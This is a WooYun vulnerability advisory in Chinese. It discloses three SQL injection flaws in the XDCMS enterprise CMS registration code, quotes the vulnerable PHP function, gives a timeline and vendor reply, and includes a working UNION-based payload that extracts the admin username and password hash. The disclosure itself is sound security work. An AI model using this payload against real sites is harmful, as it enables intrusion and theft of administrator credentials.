当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-044556

漏洞标题：XDCMS企业管理系统SQL注入#1

相关厂商：www.xdcms.cn

漏洞作者： xfkxfk

提交时间：2013-12-02 10:12

修复时间：2014-03-02 10:12

公开时间：2014-03-02 10:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-02： 细节已通知厂商并且等待厂商处理中
2013-12-03： 厂商已经确认，细节仅向厂商公开
2013-12-06： 细节向第三方安全合作伙伴开放
2014-01-27： 细节向核心白帽子及相关领域专家公开
2014-02-06： 细节向普通白帽子公开
2014-02-16： 细节向实习白帽子公开
2014-03-02： 细节向公众公开

简要描述：

最新版XDCMS企业管理系统，由于过滤不严，可绕过限制，导致多处SQL注入

详细说明：

注入在XDCMS企业管理系统的注册功能处，来看看\system\modules\member\index.php文件：
注册时会调用register_save，问题就出在index.php的register_save函数处：

public function register_save(){
		$username=safe_html($_POST['username']);//获取UserName，这里用safe_html函数进行过滤
		$password=$_POST['password'];
		$password2=$_POST['password2'];
		$fields=$_POST['fields'];
		if(empty($username)||empty($password2)||empty($password)){
			showmsg(C('material_not_complete'),'-1');
		}
		if(!strlength($username,5)){
			showmsg(C('username').C('str_len_error').'5','-1');
		}
		if(!strlength($password,5)){
			showmsg(C('password').C('str_len_error').'5','-1');
		}
		if($password!=$password2){
			showmsg(C('password_different'),'-1');
		}
		$password=md5(md5($password));
		
		$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在，这里的UserName可被绕过过滤，导致注入，这是第一处SQL注入
		if($user_num>0){
			showmsg(C('member_exist'),'-1');
		}
		$ip=safe_replace(safe_html(getip()));
		$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码，这里的UserName同意造成注入，第二处sql注入
		$last_id=$this->mysql->insert_id();
		
		//插入附属字段
		$field_sql='';
		foreach($fields as $k=>$v){
			$f_value=$v;
			if(is_array($v)){
				$f_value=implode(',',$v);
			}
			$field_sql.=",`{$k}`='{$f_value}'";//这里没有过滤，直接进入了下面的update sql语句，导致第三处sql注入
		}
		$field_sql=substr($field_sql,1);
		$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
		$query=$this->mysql->query($field_sql);
		
		showmsg(C('register_success'),'index.php?m=member&f=register');
	}


漏洞证明：

第一处sql注入，注册一个用户，然后抓包：

zc1.png


最后看看结果，成功拿到了管理的用户名密码：

zc2.png


在safe_html处虽然过了个SQL注入的敏感词，还过滤了=和*，但是没有考虑SQL注入敏感词的大小写，这里只过滤了小写，那么我们用大写绕过，这里过滤的=和*，我们可以使用不带*和=的常规保存SQL注入语句，EXP如下：

在UserName处输入：
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#


注入第三处的update SQL注入的利用可参考：

 WooYun: XDCMS订餐系统SQL注入

修复方案：

过滤严格，增强safe_html的过滤规则

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2013-12-03 11:36

厂商回复：

这个是上次漏洞没更新注入过滤的版本

最新状态：

暂无

漏洞评价：

评论